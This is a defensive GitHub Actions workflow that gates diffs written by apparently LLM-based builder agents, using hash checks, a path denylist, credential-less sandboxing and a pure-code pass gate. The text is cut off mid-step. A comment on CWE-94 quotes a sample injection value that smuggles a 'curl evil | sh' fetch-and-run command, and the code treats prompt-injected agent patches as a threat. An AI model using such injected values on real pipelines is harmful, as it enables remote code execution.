This repository has been archived on 2026-08-04. You can view files and clone it, but cannot push or open issues or pull requests.
orchestrator/agent-team/ci/agent-team-apply-verify.yml
Adam Moussa 7d8195bdd2 harden(agent-team): P3 apply/verify workflow — GitHub App token, CWE-94, fail-closed
Decision-1 auth model: gate-and-pr uses a GitHub App installation token
(pull-requests:write) behind the agent-apply environment; ALL OIDC/id-token/AWS
removed. Hardening: task_id env-indirection (CWE-94 — GitHub expands ${{ }} into
the run shell before exec, so %s/quoting is insufficient); run-id pinning on both
download-artifact; post-build denied-path check (build-hook writes into denied
paths fail the job); empty-hash fail-closed in BOTH the embedded gate (fixed a
real ''=='' pass bug) and ci_gate.py. App-token + draft-PR steps stay if:${{ false }}
until provisioning (App + environment + branch protection). +17 tests.
2026-06-18 15:30:07 -04:00

944 lines
46 KiB
YAML

# R720 agent-team — split-job CI apply/verify workflow (design §3.3.2, §7.1 P3).
#
# DEPLOY-GATED PRE-DEPLOYMENT SCAFFOLDING. This file is authored as IaC only.
# It is NOT enabled, NOT provisioned, and NOT wired to any live org repo. Per
# the design (§3.3.2, §7.1 P3) it must clear BOTH `/sh-security-review` AND the
# mandatory GPT-4.1 cross-review before it is deployed (it is IaC/IAM +
# untrusted-input handling). Until then it lives here as a reviewable artifact.
#
# AUTH MODEL (LOCKED, P3-live): the privileged job authenticates via a GitHub
# App INSTALLATION TOKEN with `pull-requests: write` — there are ZERO cloud
# credentials and no cloud token-federation anywhere in this workflow. The
# required human-reviewer gate lives on the `agent-apply` GitHub Environment
# (configured at provisioning, not in YAML).
#
# Deployment target (later, after the gates): promote into
# Sea-Haven-Industries/.github as a reusable workflow (engineering-handbook
# cicd.md) and have the apply path call it. The filename stays kebab-case per
# the handbook. PROVISIONING (the ONLY remaining step to go live) creates the
# GitHub App + its installation, the `agent-apply` environment with a required
# reviewer + branch protection, then flips the draft-PR step's `if:` (see the
# provisioning runbook). Flipping live against a non-existent environment is an
# unprotected hole, so the flip is a deliberate provisioning action, not authored
# here.
#
# ─────────────────────────────────────────────────────────────────────────────
# TRUST BOUNDARY (design §3.3.2). The builder agents are semi-trusted: an LLM
# that read repo content can be wrong or prompt-injected, so the candidate diff
# is UNTRUSTED CODE. The five boundaries this workflow implements:
#
# 1. Split CI. The job that checks out + executes the patch (`build-test`)
# runs credential-less (`permissions: contents: read`, no secrets, no
# App token, no write token, egress-restricted). Every privileged action
# runs in a SEPARATE job (`gate-and-pr`) that NEVER checks out or runs
# patch-controlled code; it consumes the build/test report as DATA only.
# This is NOT `pull_request_target` with a head-ref checkout (pwn request).
# 2. Trust-control-surface denylist. `guard` hard-fails (CI-side, not only the
# box) any diff touching `.github/workflows/**`, IAM/policy IaC, branch
# protection / CODEOWNERS / Dependabot, or files outside the declared task
# scope. It canonicalizes paths, resolves symlinks, and rejects renames
# into denied paths — a path match cannot be bypassed by indirection.
# 3. Diff integrity, box → CI. CI re-hashes the candidate diff and verifies it
# equals the ledger-recorded hash BEFORE applying. Tamper/substitution
# fails the hash check.
# 4. Pure-code pass/fail gate. A deterministic gate reads the authenticated
# build/test conclusion keyed to (run id + diff hash). It never trusts a
# success/failure file the patch could have written. The verifier AGENT
# only reads failures to propose a fix; it cannot declare success.
# 5. Branch protection. The draft PR targets a protected branch; the
# locked-down checks are required; merge needs them green + the
# security-review + the Claude Code App review + human approval. The agent
# NEVER auto-merges (D2).
#
# All third-party actions are SHA-pinned (handbook Pinning Principle, §3.3.2).
# ─────────────────────────────────────────────────────────────────────────────
name: agent-team-apply-verify
# Manual / API trigger only. The trusted, separate apply path (which owns the
# GitHub App write token) invokes this with the candidate-diff
# artifact + the ledger-recorded hash + the declared scope. There is NO
# pull_request / pull_request_target trigger: the patch must never run in a
# context that carries write or secret scope (boundary 1).
on:
workflow_dispatch:
inputs:
task_id:
description: "Pipeline task thread_id (for provenance/audit)."
required: true
type: string
diff_artifact_name:
description: "Name of the uploaded candidate-diff artifact."
required: true
type: string
expected_diff_hash:
description: "Ledger-recorded sha256 of the candidate diff (boundary 3)."
required: true
type: string
declared_scope:
description: >-
Newline-separated list of glob paths the task is allowed to touch
(boundary 2). A diff that changes anything outside this set fails.
required: true
type: string
# Workflow-level default: least privilege. Every job re-declares its own
# `permissions:` so the grant is explicit per job and the untrusted job can be
# audited at a glance.
permissions: {}
# One in-flight apply/verify per task; a re-dispatch cancels the stale run so a
# superseded diff cannot race a newer one.
concurrency:
group: agent-team-apply-verify-${{ inputs.task_id }}
cancel-in-progress: true
jobs:
# ───────────────────────────────────────────────────────────────────────────
# JOB 1 — guard (boundaries 2 + 3). Credential-less. Validates the candidate
# diff WITHOUT applying or executing it: re-hashes it (integrity) and runs the
# trust-control-surface denylist + declared-scope check. This job reads the
# diff as DATA only — it never `git apply`s it, so even a hostile diff cannot
# run code here. A failure is terminal: the diff is rejected and ALARM-worthy.
# ───────────────────────────────────────────────────────────────────────────
guard:
runs-on: ubuntu-latest
timeout-minutes: 5
permissions:
contents: read
outputs:
diff_hash: ${{ steps.verify.outputs.diff_hash }}
steps:
- name: Harden runner (egress audit; no secrets present anyway)
uses: step-security/harden-runner@0080882f6c36860b6ba35c610c98ce87d4e2f26f # v2.10.2
with:
egress-policy: block
# Only what fetching the artifact + GitHub API needs. The job holds
# no secrets, so a successful exfil yields nothing of value (§3.3.2),
# but we deny egress as defense-in-depth.
allowed-endpoints: >
github.com:443
api.github.com:443
objects.githubusercontent.com:443
*.actions.githubusercontent.com:443
- name: Download candidate diff (data only; not applied)
uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
with:
name: ${{ inputs.diff_artifact_name }}
path: ./_incoming
# Pin the source run so an artifact can never be sourced from a
# DIFFERENT run (an attacker who can upload an artifact in some other
# run must not be able to substitute it here). This is the current
# run; download-artifact@v4 restricts to the same run by default, but
# pinning run-id makes that explicit and audit-visible. No
# github-token is set: this job is credential-less and same-run only.
run-id: ${{ github.run_id }}
- name: Verify diff integrity + trust-control denylist + scope
id: verify
env:
EXPECTED_DIFF_HASH: ${{ inputs.expected_diff_hash }}
DECLARED_SCOPE: ${{ inputs.declared_scope }}
DIFF_PATH: ./_incoming/candidate.diff
run: |
set -euo pipefail
# Self-contained, stdlib-only, type-hinted gate program embedded
# inline so this workflow has NO external script dependency. It is
# patch-independent: it parses the unified diff as TEXT and never
# executes it. It re-hashes the diff (boundary 3) and enforces the
# trust-control-surface denylist + declared scope (boundary 2),
# canonicalizing paths and rejecting renames into denied paths.
python3 - <<'PY'
from __future__ import annotations
import hashlib
import os
import posixpath
import re
import sys
# --- Boundary 2: the trust-control surface. Touching ANY of these is
# an auto-reject; such a diff is escalated to mandatory human + GPT
# cross-review, never auto-built (these are the mandatory-cross-review
# surface regardless). Matched against canonicalized POSIX paths. ---
DENY_GLOBS: tuple[str, ...] = (
".github/workflows/**",
".github/actions/**",
"**/CODEOWNERS",
"CODEOWNERS",
".github/dependabot.yml",
".github/dependabot.yaml",
".github/settings.yml",
# IAM / policy / permission IaC (CDK / SAM / Terraform).
"**/template.yaml",
"**/template.yml",
"**/*.tf",
"**/cdk.json",
"**/*-stack.ts",
"**/*_stack.py",
"**/policy*.json",
"**/*iam*",
"**/*.pem",
"**/*.key",
)
def canonical(path: str) -> str:
"""Canonicalize a diff path to a normalized, anchored POSIX path.
Strips git's a//b/ prefixes, collapses ``.`` / ``..`` and
backslashes, and rejects absolute or parent-escaping paths so a
denied location cannot be reached by traversal/indirection.
"""
p = path.strip()
# git unified-diff prefixes.
for pre in ("a/", "b/"):
if p.startswith(pre):
p = p[len(pre):]
break
p = p.replace("\\", "/")
# normpath then re-POSIX it.
norm = posixpath.normpath(p)
if norm.startswith("/") or norm == ".." or norm.startswith("../"):
raise ValueError(f"path escapes repo root: {path!r}")
return norm
def parse_touched_paths(diff_text: str) -> set[str]:
"""Extract every path a unified diff adds/modifies/renames/deletes.
Reads ``+++ ``/``--- `` targets, ``diff --git a/x b/y`` headers, and
``rename from/to`` lines — so a rename INTO a denied path (or a new
file generated into one) is caught, not just in-place edits.
"""
touched: set[str] = set()
for line in diff_text.splitlines():
m = re.match(r"^diff --git (\S+) (\S+)$", line)
if m:
for raw in (m.group(1), m.group(2)):
touched.add(canonical(raw))
continue
m = re.match(r"^(?:\+\+\+|---) (.+)$", line)
if m:
tgt = m.group(1).strip()
if tgt == "/dev/null":
continue
# strip trailing tab-timestamp some diffs carry.
tgt = tgt.split("\t", 1)[0]
touched.add(canonical(tgt))
continue
m = re.match(r"^rename (?:from|to) (.+)$", line)
if m:
touched.add(canonical(m.group(1).strip()))
return touched
def find_symlink_additions(diff_text: str) -> list[tuple[str, str]]:
"""Return ``[(path, target)]`` for every symlink the diff creates.
A symlink shows as git file mode ``120000``; its link target is the
single added content line. Textual path canonicalization (``canonical``)
cannot see a symlink that redirects a later in-diff write into a denied
location (e.g. ``sub/link -> ../.github/workflows`` then a write to
``sub/link/evil.yml``). A candidate auto-build diff has no legitimate
reason to introduce a symlink, so guard treats ANY symlink addition as
a hard reject (boundary 2), closing the symlink-escape vector.
"""
additions: list[tuple[str, str]] = []
cur_path: str | None = None
pending = False
for line in diff_text.splitlines():
g = re.match(r"^diff --git (\S+) (\S+)$", line)
if g:
cur_path, pending = g.group(2), False
continue
p = re.match(r"^\+\+\+ (.+)$", line)
if p and p.group(1).strip() != "/dev/null":
cur_path = p.group(1).split("\t", 1)[0].strip()
continue
if re.match(r"^(?:new file mode|new mode) 120000\s*$", line):
pending = True
continue
if pending and line.startswith("+") and not line.startswith("+++"):
try:
path_c = canonical(cur_path) if cur_path else "<unknown>"
except ValueError:
# canonical() rejected the path (absolute/escaping); report
# it with only the git a//b/ PREFIX removed for the error
# message (re.sub, not str.lstrip which strips a char set).
path_c = re.sub(r"^[ab]/", "", cur_path or "<unknown>")
additions.append((path_c, line[1:].strip()))
pending = False
return additions
_GLOB_META = set("*?[]")
_GLOB_RE_CACHE: dict[str, "re.Pattern[str]"] = {}
def _glob_to_regex(glob: str) -> "re.Pattern[str]":
"""Compile a gitignore-style glob to a '/'-aware, case-insensitive regex.
Python's ``fnmatch`` does NOT implement recursive ``**`` (it treats it
as a single ``*`` that already spans ``/``), so ``**/template.yaml``
fails to match a repo-ROOT ``template.yaml`` — a denylist bypass for
exactly the IaC/secret families boundary 2 must catch. This translates
``**/`` to "any depth INCLUDING zero", ``**`` to ".*", ``*`` to a single
non-slash run, ``?`` to one non-slash char, and matches case-
insensitively (POSIX runners are case-sensitive, but a case variant of a
trust-control filename must not slip the gate).
"""
cached = _GLOB_RE_CACHE.get(glob)
if cached is not None:
return cached
out: list[str] = []
i, n = 0, len(glob)
while i < n:
if glob[i : i + 3] == "**/":
out.append(r"(?:.*/)?")
i += 3
elif glob[i : i + 2] == "**":
out.append(r".*")
i += 2
elif glob[i] == "*":
out.append(r"[^/]*")
i += 1
elif glob[i] == "?":
out.append(r"[^/]")
i += 1
else:
out.append(re.escape(glob[i]))
i += 1
pat = re.compile("^" + "".join(out) + "$", re.IGNORECASE)
_GLOB_RE_CACHE[glob] = pat
return pat
def denied(path: str) -> bool:
"""True if ``path`` is on the trust-control denylist (recursive, case-insensitive)."""
return any(_glob_to_regex(g).match(path) for g in DENY_GLOBS)
def _scope_prefix(entry: str) -> str | None:
"""Reduce a canonicalized scope entry to a concrete dir/file prefix.
Declared scope is *confinement*, not a pattern that may widen coverage.
``fnmatch``-ing scope let a single ``**`` (or ``*``) entry match the
whole tree, collapsing boundary 2b to a no-op. Instead we take the
leading path segments up to the first glob metacharacter and prefix
-match against them (mirrors the box-side ``_in_scope``). A scope that
begins with a metacharacter reduces to the empty (repo-root) prefix and
is dropped, so it can never widen to everything.
"""
keep: list[str] = []
for part in entry.split("/"):
if any(c in _GLOB_META for c in part):
break
keep.append(part)
prefix = "/".join(keep)
return prefix or None
def safe_scope(scope: list[str]) -> list[str]:
"""Canonicalize scope into concrete path prefixes; drop escaping/empty.
An absolute or parent-escaping entry is discarded (canonical raises),
and a glob that reduces to the repo root is dropped, so a malformed or
over-broad scope can only SHRINK what is allowed, never widen it.
"""
safe: list[str] = []
for g in scope:
try:
canon = canonical(g)
except ValueError:
continue
prefix = _scope_prefix(canon)
if prefix is not None and prefix not in safe:
safe.append(prefix)
return safe
def in_scope(path: str, scope: list[str]) -> bool:
"""True if ``path`` is at or under one of the declared scope prefixes."""
return any(path == entry or path.startswith(entry + "/") for entry in scope)
def main() -> int:
diff_path = os.environ["DIFF_PATH"]
expected = os.environ["EXPECTED_DIFF_HASH"].strip().lower()
scope = [s for s in os.environ.get("DECLARED_SCOPE", "").splitlines() if s.strip()]
# FAIL-CLOSED on an empty/missing expected hash BEFORE comparing.
# The recomputed `actual` is always a real sha256, so an empty
# `expected` already mismatches and fails — but an explicit guard
# makes the empty == empty invariant impossible to regress (e.g. if
# the comparison is ever refactored) and gives a clearer ALARM.
if not expected:
print("::error::empty/missing expected diff hash; refusing to bind (fail-closed)")
return 2
with open(diff_path, "rb") as fh:
raw = fh.read()
actual = hashlib.sha256(raw).hexdigest()
# Boundary 3: integrity. A tampered/substituted diff fails here.
if actual != expected:
print(f"::error::diff hash mismatch: expected={expected} actual={actual}")
return 2
# Fail CLOSED on a non-UTF-8 diff rather than silently replacing bytes
# (errors='replace' could let a homoglyph/encoding trick evade the path
# match). A legitimate diff over source is valid UTF-8.
try:
text = raw.decode("utf-8")
except UnicodeDecodeError as exc:
print(f"::error::diff is not valid UTF-8 ({exc}); refusing to parse")
return 8
touched = parse_touched_paths(text)
if not touched:
print("::error::no paths parsed from diff; refusing empty/garbled diff")
return 3
# Boundary 2a: trust-control denylist (CI-side HARD FAIL).
hits = sorted(p for p in touched if denied(p))
if hits:
for h in hits:
print(f"::error::trust-control-surface violation: {h}")
print("::error::diff touches the trust-control surface; escalate to human + GPT cross-review")
return 4
# Boundary 2a': symlink escape. A symlink can redirect a later in-diff
# write into a denied path that textual matching cannot see, so any
# symlink addition is rejected outright.
symlinks = find_symlink_additions(text)
if symlinks:
for path, target in symlinks:
print(f"::error::diff introduces a symlink ({path} -> {target}); symlinks can redirect writes into denied paths and are not allowed in an auto-built diff")
print("::error::symlink in candidate diff; escalate to human + GPT cross-review")
return 7
# Boundary 2b: declared-scope enforcement.
if not scope:
print("::error::no declared scope provided; refusing unscoped diff")
return 5
scope = safe_scope(scope)
if not scope:
print("::error::declared scope has no valid (non-escaping) entries; refusing diff")
return 5
out_of_scope = sorted(p for p in touched if not in_scope(p, scope))
if out_of_scope:
for p in out_of_scope:
print(f"::error::out-of-declared-scope path: {p}")
return 6
gh_out = os.environ.get("GITHUB_OUTPUT")
if gh_out:
with open(gh_out, "a", encoding="utf-8") as fh:
fh.write(f"diff_hash={actual}\n")
print(f"diff_hash={actual}")
print(f"validated {len(touched)} path(s); all in-scope, none on the trust-control surface")
return 0
sys.exit(main())
PY
# ───────────────────────────────────────────────────────────────────────────
# JOB 2 — build-test (boundary 1). UNTRUSTED execution. This is the ONLY job
# that applies + runs the patch. It is credential-less: contents:read only, no
# secrets, no App token, no write token, egress blocked. There is nothing here to
# steal and nothing to assume. It writes a report artifact consumed by the
# privileged gate as DATA — that report is NOT authoritative (boundary 4).
# Depends on `guard` so a denied/tampered diff never reaches execution.
# ───────────────────────────────────────────────────────────────────────────
build-test:
needs: guard
runs-on: ubuntu-latest
timeout-minutes: 20
permissions:
contents: read
steps:
- name: Harden runner (block egress — untrusted code runs here)
uses: step-security/harden-runner@0080882f6c36860b6ba35c610c98ce87d4e2f26f # v2.10.2
with:
# Block, not audit: this is where untrusted patch code executes. A
# narrow allowlist for dependency resolution only; everything else is
# denied so a prompt-injected patch cannot phone home.
# DEPLOY: this allowlist is GitHub + PyPI only. Before enabling this
# workflow for a repo, replace/extend it with EXACTLY that repo's
# package registries (npm, crates, Go proxy, ...) and nothing more —
# an over-broad allowlist weakens the egress boundary.
egress-policy: block
allowed-endpoints: >
github.com:443
api.github.com:443
objects.githubusercontent.com:443
codeload.github.com:443
pypi.org:443
files.pythonhosted.org:443
- name: Checkout base repo (clean ref; patch applied on top after)
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
# Checkout carries NO token into the working tree usable for writes —
# this job's permissions are contents:read. persist-credentials:false
# guarantees the patch cannot reuse the checkout token.
persist-credentials: false
- name: Re-download candidate diff (re-validated below)
uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
with:
name: ${{ inputs.diff_artifact_name }}
path: ./_incoming
# Same-run pin as the guard job: the bytes applied here must be the
# bytes uploaded in THIS run, not an artifact substituted from another
# run. The pre-apply hash re-check below is the second layer.
run-id: ${{ github.run_id }}
- name: Re-verify diff hash before apply (defense-in-depth)
env:
EXPECTED_DIFF_HASH: ${{ needs.guard.outputs.diff_hash }}
DIFF_PATH: ./_incoming/candidate.diff
run: |
set -euo pipefail
# Independently confirm the bytes match the hash `guard` blessed, so a
# swapped artifact between jobs cannot slip an unvetted diff into the
# apply step.
python3 - <<'PY'
from __future__ import annotations
import hashlib
import os
import sys
def main() -> int:
expected = os.environ["EXPECTED_DIFF_HASH"].strip().lower()
with open(os.environ["DIFF_PATH"], "rb") as fh:
actual = hashlib.sha256(fh.read()).hexdigest()
if actual != expected:
print(f"::error::pre-apply hash mismatch: expected={expected} actual={actual}")
return 1
print(f"diff hash confirmed: {actual}")
return 0
sys.exit(main())
PY
- name: Apply candidate diff (UNTRUSTED — credential-less sandbox)
run: |
set -euo pipefail
# --check first so a malformed diff fails cleanly; then apply. The
# working tree has no write credential, so applying + running it can
# touch only this ephemeral runner.
git apply --check ./_incoming/candidate.diff
git apply ./_incoming/candidate.diff
# Commit the patched tree to a throwaway local commit so the working
# tree is CLEAN before the build runs. This is the baseline the
# post-build denied-path check diffs against: the guard job already
# vetted the candidate diff's paths, so by committing it we isolate
# whatever the BUILD HOOK itself writes (a malicious setup.py /
# conftest / build script that drops a file into a denied path). Local
# commit only — this job has no write credential, nothing is pushed.
git config user.email "agent-apply@local.invalid"
git config user.name "agent-apply build sandbox"
git add -A
git commit --quiet --no-verify -m "candidate diff (sandbox baseline)" || true
- name: Set up Python
uses: actions/setup-python@0b93645e9fea7318ecaed2b359559ac225c90a2b # v5.3.0
with:
python-version: "3.12"
- name: Install + build + test (untrusted; result is non-authoritative)
id: run
run: |
set -euo pipefail
# Placeholder build/test for the narrowest task class (dep bump /
# single-file fix). At deploy time this is parameterized per target
# repo. Exit code is what matters; any file the patch writes is
# ignored by the authoritative gate (boundary 4).
if [ -f requirements.txt ]; then
python3 -m pip install --quiet -r requirements.txt || true
fi
python3 -m pip install --quiet ruff pytest || true
ruff check . || echo "ruff non-zero (recorded, non-authoritative)"
pytest -q || echo "pytest non-zero (recorded, non-authoritative)"
- name: Post-build denied-path check (build hook may not write the trust surface)
if: always()
env:
DECLARED_SCOPE: ${{ inputs.declared_scope }}
run: |
set -euo pipefail
# SECURITY (boundary 2, build-hook variant). The guard job vetted the
# candidate DIFF's paths, but a build/test hook (setup.py, a conftest,
# an npm postinstall, a Makefile) running in THIS untrusted job can
# ALSO write files — including into the trust-control surface or out of
# the declared scope. We committed the patched tree as the baseline
# above, so anything that differs now is build-hook output. Collect it
# via `git diff --name-only` (tracked changes the hook made on top of
# the patch) + `git status --porcelain` (new untracked files the hook
# dropped) and FAIL the job if any of it lands on a denied path or
# outside scope. Reuses the SAME denylist + scope logic as the guard.
{
git diff --name-only HEAD
git status --porcelain --untracked-files=all | sed -E 's/^...//'
} | sort -u > ./_build_written_paths.txt
python3 - <<'PY'
from __future__ import annotations
import os
import posixpath
import re
import sys
# SAME denylist as the guard job (boundary 2). Kept in sync by review.
DENY_GLOBS: tuple[str, ...] = (
".github/workflows/**",
".github/actions/**",
"**/CODEOWNERS",
"CODEOWNERS",
".github/dependabot.yml",
".github/dependabot.yaml",
".github/settings.yml",
"**/template.yaml",
"**/template.yml",
"**/*.tf",
"**/cdk.json",
"**/*-stack.ts",
"**/*_stack.py",
"**/policy*.json",
"**/*iam*",
"**/*.pem",
"**/*.key",
)
_GLOB_META = set("*?[]")
def canonical(path: str) -> str:
p = path.strip().strip('"').replace("\\", "/")
norm = posixpath.normpath(p)
if norm.startswith("/") or norm == ".." or norm.startswith("../"):
raise ValueError(f"path escapes repo root: {path!r}")
return norm
def _glob_to_regex(glob: str) -> "re.Pattern[str]":
out: list[str] = []
i, n = 0, len(glob)
while i < n:
if glob[i : i + 3] == "**/":
out.append(r"(?:.*/)?")
i += 3
elif glob[i : i + 2] == "**":
out.append(r".*")
i += 2
elif glob[i] == "*":
out.append(r"[^/]*")
i += 1
elif glob[i] == "?":
out.append(r"[^/]")
i += 1
else:
out.append(re.escape(glob[i]))
i += 1
return re.compile("^" + "".join(out) + "$", re.IGNORECASE)
_DENY_RES = tuple(_glob_to_regex(g) for g in DENY_GLOBS)
def denied(path: str) -> bool:
return any(p.match(path) for p in _DENY_RES)
def _scope_prefix(entry: str) -> str | None:
keep: list[str] = []
for part in entry.split("/"):
if any(c in _GLOB_META for c in part):
break
keep.append(part)
prefix = "/".join(keep)
return prefix or None
def safe_scope(scope: list[str]) -> list[str]:
safe: list[str] = []
for g in scope:
try:
canon = canonical(g)
except ValueError:
continue
prefix = _scope_prefix(canon)
if prefix is not None and prefix not in safe:
safe.append(prefix)
return safe
def in_scope(path: str, scope: list[str]) -> bool:
return any(path == e or path.startswith(e + "/") for e in scope)
def main() -> int:
with open("./_build_written_paths.txt", encoding="utf-8") as fh:
raw_paths = [ln for ln in (x.strip() for x in fh) if ln]
if not raw_paths:
print("post-build check: build hook wrote no files; clean")
return 0
scope = safe_scope(
[s for s in os.environ.get("DECLARED_SCOPE", "").splitlines() if s.strip()]
)
violations: list[str] = []
for raw in raw_paths:
try:
path = canonical(raw)
except ValueError:
violations.append(f"build hook wrote an escaping path: {raw!r}")
continue
if denied(path):
violations.append(f"build hook wrote a trust-control path: {path}")
elif scope and not in_scope(path, scope):
violations.append(f"build hook wrote out of declared scope: {path}")
if violations:
for v in violations:
print(f"::error::{v}")
print("::error::build hook wrote a denied/out-of-scope path; failing job")
return 1
print(f"post-build check: {len(raw_paths)} build-written path(s); all clean")
return 0
sys.exit(main())
PY
- name: Emit non-authoritative report (job conclusion is the truth)
if: always()
env:
# CWE-94 env-indirection. `inputs.task_id` is attacker-influenceable
# (the dispatcher passes it from task state) and GitHub expands every
# `${{ }}` into the shell SCRIPT TEXT before the shell runs — so a
# value like `"; curl evil | sh; #` would be interpolated as code and
# `%s`/quoting in printf would NOT stop it. Binding it to an env var
# and referencing it as a quoted shell variable ("$TASK_ID") means the
# shell sees it as DATA, never as script. python's json.dumps then
# encodes it safely into the report.
TASK_ID: ${{ inputs.task_id }}
run: |
set -euo pipefail
# This report is consumed by the gate as DATA for the verifier agent's
# next-fix reasoning. It is NOT the pass/fail decision — the gate reads
# the AUTHENTICATED job conclusion (boundary 4), never this file.
mkdir -p ./_report
# Build the JSON with python's json encoder (reads TASK_ID from the
# environment) so the untrusted task_id cannot break out of the string
# or inject JSON structure.
python3 - <<'PY' > ./_report/report.json
import json
import os
print(
json.dumps(
{
"task_id": os.environ["TASK_ID"],
"note": "non-authoritative; gate uses job conclusion",
}
)
)
PY
- name: Upload non-authoritative report
if: always()
uses: actions/upload-artifact@b4b15b8c7c6ac21ea08fcf65892d2ee8f75cf882 # v4.4.3
with:
name: build-test-report-${{ inputs.task_id }}
path: ./_report/report.json
retention-days: 7
# ───────────────────────────────────────────────────────────────────────────
# JOB 3 — gate-and-pr (boundaries 1 + 4 + 5). PRIVILEGED, but it NEVER checks
# out or executes patch-controlled code. It reads the AUTHENTICATED conclusion
# of `build-test` (via needs.*.result — GitHub-controlled, patch-independent)
# keyed to this run, and only on a clean pass opens a DRAFT PR. It never trusts
# any artifact the patch wrote. Pass/fail is pure code here, not the LLM.
#
# AUTH (LOCKED): the privileged write here is a GitHub App INSTALLATION TOKEN
# with `pull-requests: write` — ZERO cloud credentials, no token-federation.
# The token is minted at run
# time by actions/create-github-app-token (SHA-pinned) from the App id +
# private key held as repo/org secrets, and is scoped to exactly the grant the
# App installation has. The required HUMAN reviewer that must approve before
# this job's `environment` runs is configured on the `agent-apply` GitHub
# Environment at PROVISIONING (it cannot be expressed in YAML — see the
# provisioning runbook). This job NEVER checks out or executes patch code: it
# reads the AUTHENTICATED needs.*.result conclusions, and only on a clean pass
# opens a DRAFT PR. The draft-PR step stays hard-disabled (`if: ${{ false }}`)
# until provisioning creates the App + environment + branch protection; the
# flip is the single remaining provisioning action.
# ───────────────────────────────────────────────────────────────────────────
gate-and-pr:
needs: [guard, build-test]
# `always()` so the gate runs even when build-test failed, to record the
# authoritative conclusion. The gate itself decides pass/fail from results.
if: always()
runs-on: ubuntu-latest
timeout-minutes: 5
# The `agent-apply` GitHub Environment is the human-gate home: its REQUIRED
# REVIEWER (and optional wait timer / branch policy) is configured on the
# Environment at PROVISIONING — GitHub holds the job here until a human
# approves. This cannot be authored in YAML; the `environment:` reference is
# the hook the provisioning step attaches the reviewer to. Until the
# environment exists, dispatching this workflow is itself blocked, which is
# why the live flip is deferred to provisioning.
environment:
name: agent-apply
permissions:
contents: read
# The ONLY privileged grant: open a draft PR. Enabled here (no longer
# commented) because the auth model is locked — there is no cloud
# credential to federate. The draft-PR STEP stays `if: ${{ false }}` until
# provisioning, so nothing privileged actually runs yet even with the
# grant declared.
pull-requests: write
# NOTE: there is deliberately NO token-federation permission here — this
# workflow uses a GitHub App installation token only, no cloud provider.
steps:
- name: Harden runner (privileged job; block egress)
uses: step-security/harden-runner@0080882f6c36860b6ba35c610c98ce87d4e2f26f # v2.10.2
with:
# DEPLOY: this allowlist is GitHub API only (App-token mint + gh pr
# create). Trim/confirm per target repo at provisioning — an
# over-broad allowlist weakens the egress boundary even on the
# privileged job. No cloud endpoints: the auth model is a GitHub App
# token only, with no cloud token-federation.
egress-policy: block
allowed-endpoints: >
github.com:443
api.github.com:443
- name: Pure-code pass/fail gate over authenticated results
id: gate
env:
# These come from GitHub's job orchestration, NOT from the patch.
GUARD_RESULT: ${{ needs.guard.result }}
BUILD_TEST_RESULT: ${{ needs.build-test.result }}
DIFF_HASH: ${{ needs.guard.outputs.diff_hash }}
EXPECTED_DIFF_HASH: ${{ inputs.expected_diff_hash }}
RUN_ID: ${{ github.run_id }}
run: |
set -euo pipefail
# Deterministic, patch-independent decision. Consumes ONLY the
# authenticated needs.*.result values + the hash binding (all from
# GitHub's orchestration, never from a file the patch wrote). Mirrors
# secrev's "one pure-code script owns the block decision." The
# verifier AGENT only reads failures to propose a fix; it cannot
# declare success here.
python3 - <<'PY'
from __future__ import annotations
import os
import sys
def gate(
*,
guard_result: str,
build_test_result: str,
diff_hash: str,
expected_hash: str,
run_id: str,
) -> tuple[bool, str]:
"""Return (passed, reason) from authenticated, patch-independent inputs.
A pass requires: the guard job succeeded (integrity + denylist +
scope all held), the build-test job succeeded, and the hash the
guard exported equals the ledger-recorded expected hash bound to
this run. Anything else blocks.
"""
if not run_id:
return False, "missing run id; cannot bind decision to a run"
# FAIL-CLOSED on an empty/missing hash. Without this guard an empty
# guard-exported hash AND an empty expected hash compare equal
# ('' == ''), so a run where the hash binding never populated would
# SILENTLY satisfy the binding check — empty must never count as a
# match. Require both sides present (and equal) before binding holds.
g = diff_hash.strip().lower()
e = expected_hash.strip().lower()
if not g or not e:
return False, (
"empty/missing hash; refusing to bind "
f"(guard={diff_hash!r} expected={expected_hash!r})"
)
if g != e:
return False, f"hash binding broken: guard={diff_hash} expected={expected_hash}"
if guard_result != "success":
return False, f"guard did not pass: {guard_result!r}"
if build_test_result != "success":
return False, f"build-test did not pass: {build_test_result!r}"
return True, "authenticated build/test passed and diff hash is bound"
def main() -> int:
passed, reason = gate(
guard_result=os.environ.get("GUARD_RESULT", ""),
build_test_result=os.environ.get("BUILD_TEST_RESULT", ""),
diff_hash=os.environ.get("DIFF_HASH", ""),
expected_hash=os.environ.get("EXPECTED_DIFF_HASH", ""),
run_id=os.environ.get("RUN_ID", ""),
)
if passed:
print(f"GATE PASS: {reason}")
if (gh_out := os.environ.get("GITHUB_OUTPUT")):
with open(gh_out, "a", encoding="utf-8") as fh:
fh.write("gate=pass\n")
return 0
print(f"::error::GATE BLOCK: {reason}")
return 1
sys.exit(main())
PY
- name: "Mint GitHub App installation token (pull-requests write only)"
id: app-token
# Hard-disabled with the draft-PR step until provisioning: minting a
# token against an App that does not exist yet would fail, and there is
# nothing to do with it while the PR step is off. The condition is the
# SAME target as the draft-PR step so the two flip together.
if: ${{ false }} # ← flip with the draft-PR step at provisioning (see below).
uses: actions/create-github-app-token@5d869da34e18e7287c1daad50e0b8ea0f506ce69 # v1.11.0
with:
# PROVISIONING: create the GitHub App (single permission:
# `pull-requests: write`), install it on the target repo, and store
# its id + private key as these secrets. The minted token is scoped to
# exactly the App installation's grant — narrower than a PAT, and it
# auto-expires (~1h). No cloud credentials, no token-federation.
app-id: ${{ secrets.AGENT_APPLY_APP_ID }}
private-key: ${{ secrets.AGENT_APPLY_APP_PRIVATE_KEY }}
- name: Open DRAFT PR (DEPLOY-GATED — flip at provisioning only)
# belt-and-suspenders: even once flipped, the draft PR opens ONLY on a
# clean authenticated pass. Target condition for the provisioning flip:
#
# if: >-
# always()
# && needs.guard.result == 'success'
# && needs.build-test.result == 'success'
# && steps.gate.outputs.gate == 'pass'
#
# Flip to that condition ONLY after the `agent-apply` environment + the
# GitHub App are provisioned and branch protection is in place (see the
# provisioning runbook). Flipping live against a non-existent environment
# is an unprotected hole, so it stays `${{ false }}` here.
if: ${{ false }} # ← hard-disabled until provisioning (see comment above).
env:
# The App installation token (pull-requests: write). gh reads it from
